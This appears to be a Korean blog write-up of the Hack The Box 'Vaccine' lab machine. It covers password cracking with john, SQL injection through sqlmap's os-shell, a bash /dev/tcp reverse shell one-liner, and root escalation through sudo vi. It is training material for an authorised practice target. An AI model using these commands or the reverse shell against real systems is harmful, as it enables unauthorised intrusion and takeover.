본문 바로가기

war game

해킹 연습하기 핵인더박스 백신머신 hack the box vaccine writeup

오늘은 저번에 클리어한 oopsie에 이어 Vaccine의 CTF(캡쳐더플래그)과정을 담아보겠습니다.

Vaccine 머신은 스타팅포인트를 조금 클리어하고 티어2에서 볼수있는 거의 마지막에 가까운 머신입니다. Oopsie와 비슷한 시스템 탈취 과정을 가지고 있지만 전과정이 까다로운 편입니다.

 

Nmap으로 확인 했을 때에는 21번 FTP, 22번 SSH, 80번 HTTP가 사용할 수 있는 것으로 확인이 됩니다. 먼저 FTP로 가서 파일들을 볼거에요 FTP는 anonymous 로 로그인이 가능해집니다.

 

backup.zip이란 파일을 dir과 get명령어로 다운받았습니다.

 

backup.zip을 압축해제할시 비밀번호를 요구하는데 비밀번호를 알아내야 합니다.

 

john the ripper 툴을 사용하여 zip2john 명령어로 해시값을 알아냅니다.

 

 

저장한 해시값을 john명령어로 알아보았는데 매우 빠른속도 (약 1초) 만에 비밀번호를 찾아냈습니다.

 

 

찾아낸 번호로 압축해제가 가능하고 index.php 파일과 style.css라는 파일을 새로 확인할 수 있습니다.

 

 

index.php파일을 확인해 보니 admin유저의 비밀번호를 마찬가지로 해시값으로 저장하고 있었습니다.

 

 

해당하는 해시값이 어떤 종류인지 hashid를 통해 알아봅니다.

 

 

위 과정과 유사하게 값을 해시로 저장해줍니다.

 

 

위 사진의 중간부분에 보시면 해시값과 해석된 qwerty789가 비밀번호라는 것을 확인할 수 있습니다.

 

 

admin 계정과 알아낸 비밀번호로 들어가면 보여지는 대시보드 화면입니다. 대시보드에는 주목할만 한게 별로 안보이네요.

로그인 페이지는 머신 ip값을 입력만 하면 바로 들어가 집니다.

 

sql injection이 가능한지 sqlmap을 활용할 건데 먼저 PHPSESSID를 알아내어야 합니다. PHPSESSID는 전에 활용한 burpsuit를 이용해도 되고 간편하게 확장프로그램인 Cookie-Editor을 다운받아 이용하면 바로 알 수 있습니다.

 

sqlmap을 이용해 url과 알아낸 phpsessid를 입력하여 줍니다. 밑에 사진을 보시면 GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? 란 문구를 확인한다면 sql injection이 가능하다는 얘기입니다.

 

 

다시 sqlmap 명령어에 -os--shell 을 덧붙여줘서 명령어를 사용할 수 있게 해줍니다.

 

 

전에 사용하였던 넷켓 (nc)를 이용하여 리버스쉘을 획득할건데요 4444번 포트를 열어주고 os shell로 -bash -c "bash -i >& /dev/tcp/IP/4444 0>&1" -을 입력해줍니다. 입력하는게 은근히 까다로와서 저는 메모장으로 복붙을 하는 편입니다.

 

 

시스템 탈취가 이루어져 통신이 되는 모습입니다. 사실 이과정까지 하면 거의 왠만한 머신들은 다 된 것 같아 보입니다.

 

유저 플래그는 /var/lib/postgresql/ 에서 확인이 가능 했습니다.

 

 

계정을 업그레이드하기위해 sudo -l 명령어 사용시 비밀번호를 요구하였는데, 우리는 아직 못찾아 /var/www/html/ 파일을 보시면 dashboard.php란 파일이 있습니다. 내용을 확인해보시면 postgres 아이디와 비밀번호를 중간에 확인 할 수 있습니다.

 

postgres 는 ssh로도 연결이 가능하여 좀 더 깔끔하게 연결이 되는 이 방법을 사용합니다.

 

 

dashboard.php에 나온 아이디와 비번으로 ssh로그인을 할 시 성공되어진 모습입니다.

sudo -l 로 확인을 할 시 /bin/vi /etc/postgresql/11/main/pg_hba.conf라는 내용이 나옵니다.

 

vi를 이용해 루트권한을 활용할 수 있는 취약점이 있는데 이것을 바로 명령어에 사용하면 실행이 되지 않습니다.

 

먼저 sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf를 입력해주고 vim 화면이 나옵니다.

이떄 :set shell=/bin/sh 엔터를 해주고 다시 :shell을 하여 빠져나옵니다

 

다시 vi를 눌러주고 vim 화면이 나올시 마찬가지로 :set shell=/bin/sh 엔터와 :shell로 빠져나오면 루트권한으로 바뀐모습을 볼 수 있습니다.

 

root.txt 플래그는 /root에 위치하고 있습니다.